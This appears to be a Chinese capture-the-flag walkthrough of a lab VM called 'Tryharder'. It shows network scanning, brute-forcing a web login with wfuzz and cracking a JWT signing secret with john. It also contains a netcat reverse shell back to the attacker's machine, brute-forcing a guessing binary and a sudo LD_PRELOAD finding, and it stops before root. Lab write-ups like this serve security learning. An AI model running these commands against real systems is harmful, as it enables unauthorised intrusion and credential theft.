❯ sudo arp-scan -l [sudo] password for Pepster: Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.60.1 00:50:56:c0:00:08 VMware, Inc. 192.168.60.2 00:50:56:e4:1a:e5 VMware, Inc. 192.168.60.130 08:00:27:69:07:dc PCS Systemtechnik GmbH 192.168.60.254 00:50:56:ed:51:7b VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.052 seconds (124.76 hosts/sec). 4 responded ❯ export ip=192.168.60.130 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- RustScan: Exploring the digital landscape, one IP at a time. [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.130:22 Open 192.168.60.130:80 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-10 08:19 CST Initiating ARP Ping Scan at 08:19 Scanning 192.168.60.130 [1 port] Completed ARP Ping Scan at 08:19, 0.05s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 08:19 Completed Parallel DNS resolution of 1 host. at 08:19, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 08:19 Scanning 192.168.60.130 [2 ports] Discovered open port 22/tcp on 192.168.60.130 Discovered open port 80/tcp on 192.168.60.130 Completed SYN Stealth Scan at 08:19, 0.02s elapsed (2 total ports) Nmap scan report for 192.168.60.130 Host is up, received arp-response (0.00034s latency). Scanned at 2025-04-10 08:19:10 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 08:00:27:69:07:DC (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
❯ wfuzz -c -u "http://192.168.60.130/74221/index.php" -d "username=FUZZ&password=FUZ2Z" -H "User-Agent:Mozilla/5.0" -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt -w 5000.txt --hw 167 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://192.168.60.130/74221/index.php Total requests: 85000 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000010001: 302 0 L 0 W 0 Ch "test - 123456" Total time: 38.70372 Processed Requests: 68806 Filtered Requests: 68805 Requests/sec.: 1777.761
进来之后会提示你不是admin
因此没有文件上传的功能
我们可以看到登录成功后会给一个Cookie,很明显是JWT编码
1 2 3 4 5 6 7 8
❯ vim hash ❯ john hash --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 0g 0:00:00:01 DONE (2025-04-10 09:03) 0g/s 11661Kp/s 11661Kc/s 11661KC/s "chinor23"..*7¡Vamos! Session completed.
❯ grep -nri "jwtsecret123" /usr/share/seclists/ /usr/share/seclists/Passwords/scraped-JWT-secrets.txt:2417:jwtSecret123 /usr/share/seclists/Passwords/scraped-JWT-secrets.txt:2429:jwtsecret1234jwtsecret1234jwtsecret1234jwtsecret1234 /usr/share/seclists/Passwords/scraped-JWT-secrets.txt:103929:jwtsecret123 ❯ john hash --wordlist=/usr/share/seclists/Passwords/scraped-JWT-secrets.txt Using default input encoding: UTF-8 Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status jwtsecret123 (?) 1g 0:00:00:00 DONE (2025-04-10 09:39) 50.00g/s 5193Kp/s 5193Kc/s 5193KC/s vhtpc4600..!@2222222fasdhiohDCWQA Use the "--show" option to display all of the cracked passwords reliably Session completed.
www-data@Tryharder:/tmp$ cat /etc/passwd |grep /bin/bash root:x:0:0:root:/root:/bin/bash pentester:x:1000:1000:Itwasthebestoftimes!itwastheworstoftimes@itwastheageofwisdom#itwastheageoffoolishness$itwastheepochofbelief,itwastheepochofincredulity,&itwastheseasonofLight...:/home/pentester:/bin/bash xiix:x:1001:1001:A Tale of Two Cities:/home/xiix:/bin/bash
# 转换为ASCII result = binary_to_ascii(diff_map) print("\nASCII解码结果:", result)
尝试运行一下,得到密码Y0U_5M4SH3D_17_8UDDY
用nc连接一下
1 2 3 4 5 6 7
❯ nc 127.0.0.1 8989 Y0U_5M4SH3D_17_8UDDY Enter password: Access granted! shell> id uid=1001(xiix) gid=1001(xiix) groups=1001(xiix)
shell>shell> nc -e /bin/bash 192.168.60.100 1234
监听端口
在用户xiix家目录中存在脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
[+] Got reverse shell from Tryharder-192.168.60.130-Linux-x86_64 😍️ Assigned SessionID <4> (Penelope)─(Session [3])> use 4 (Penelope)─(Session [4])> interact [+] Attempting to upgrade shell to PTY... [+] Shell upgraded successfully using /usr/bin/python3! 💪 [+] Interacting with session [4], Shell Type: PTY, Menu key: F12 [+] Logging to /home/Pepster/.penelope/Tryharder~192.168.60.130_Linux_x86_64/2025_04_10-13_06_22-184.log 📜 ────────────────────────────────────────────────────────────────────────── xiix@Tryharder:~$ ./guess_game ===== 终极运气挑战 / Ultimate Luck Challenge ==== 规则很简单: 我心里有个数字(0-99),你有一次机会猜。 I have a number (0-99), you get one guess. 猜对了,我就把属于你的东西给你;猜错了?嘿嘿,后果自负! Guess right, I’ll give your reward; wrong? Hehe, face the consequences! 提示: 聪明人也许能找到捷径。 Hint: Smart ones might find a shortcut. 输入你的猜测(0-99) / Your guess (0-99):
既然范围只有0-99,那我直接硬猜,跑一下循环总有一个能出来
拿到用户xiix的密码superxiix
1 2 3 4 5 6 7 8 9 10 11
xiix@Tryharder:~$ for i in {1..100}; doecho 3 | ./guess_game; done …………………………省略………………………… ===== 终极运气挑战 / Ultimate Luck Challenge ==== 规则很简单: 我心里有个数字(0-99),你有一次机会猜。 I have a number (0-99), you get one guess. 猜对了,我就把属于你的东西给你;猜错了?嘿嘿,后果自负! Guess right, I’ll give your reward; wrong? Hehe, face the consequences! 提示: 聪明人也许能找到捷径。 Hint: Smart ones might find a shortcut. 天哪!你居然猜对了!运气逆天啊! / You got it! Amazing luck! Pass: superxiix
root@Tryharder:/home/xiix# ./guess_game ===== 终极运气挑战 / Ultimate Luck Challenge ==== 规则很简单: 我心里有个数字(0-99),你有一次机会猜。 I have a number (0-99), you get one guess. 猜对了,我就把属于你的东西给你;猜错了?嘿嘿,后果自负! Guess right, I’ll give your reward; wrong? Hehe, face the consequences! 提示: 聪明人也许能找到捷径。 Hint: Smart ones might find a shortcut. 输入你的猜测(0-99) / Your guess (0-99): ----------------------------------------------- #另一个tty 2025/04/10 03:26:27 CMD: UID=0 PID=17973 | bash 2025/04/10 03:26:27 FS: ACCESS | /home/xiix/guess_game 2025/04/10 03:26:27 FS: ACCESS | /home/xiix/guess_game 2025/04/10 03:26:27 FS: ACCESS | /home/xiix/guess_game …………………………省略链接库………………………… 2025/04/10 03:26:27 FS: MODIFY | /tmp/.hidden_clue 2025/04/10 03:26:27 FS: OPEN | /tmp/.hidden_clue 2025/04/10 03:26:27 FS: MODIFY | /tmp/.hidden_clue 2025/04/10 03:26:27 FS: CLOSE_WRITE | /tmp/.hidden_clue
.hidden_clue即为随机数
1 2 3 4 5 6 7 8 9 10 11 12 13
root@Tryharder:/tmp# cat .hidden_clue 30 root@Tryharder:/home/xiix# ./guess_game ===== 终极运气挑战 / Ultimate Luck Challenge ==== 规则很简单: 我心里有个数字(0-99),你有一次机会猜。 I have a number (0-99), you get one guess. 猜对了,我就把属于你的东西给你;猜错了?嘿嘿,后果自负! Guess right, I’ll give your reward; wrong? Hehe, face the consequences! 提示: 聪明人也许能找到捷径。 Hint: Smart ones might find a shortcut. 输入你的猜测(0-99) / Your guess (0-99): 30 天哪!你居然猜对了!运气逆天啊! / You got it! Amazing luck! Pass: superxiix
xiix@Tryharder:/home/xiix# ./guess_game ===== 终极运气挑战 / Ultimate Luck Challenge ==== 规则很简单: 我心里有个数字(0-99),你有一次机会猜。 I have a number (0-99), you get one guess. 猜对了,我就把属于你的东西给你;猜错了?嘿嘿,后果自负! Guess right, I’ll give your reward; wrong? Hehe, face the consequences! 提示: 聪明人也许能找到捷径。 Hint: Smart ones might find a shortcut. 输入你的猜测(0-99) / Your guess (0-99): 1337 后门激活! / Backdoor activated! Pass: superxiix
Root提权
用户拥有sudo权限,可以执行whoami,但仅通过whoami执行任意命令几乎不可能
1 2 3 4 5 6
xiix@Tryharder:~$ sudo -l Matching Defaults entries for xiix on tryharder: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=LD_PRELOAD
User xiix may run the following commands on tryharder: (ALL : ALL) /bin/whoami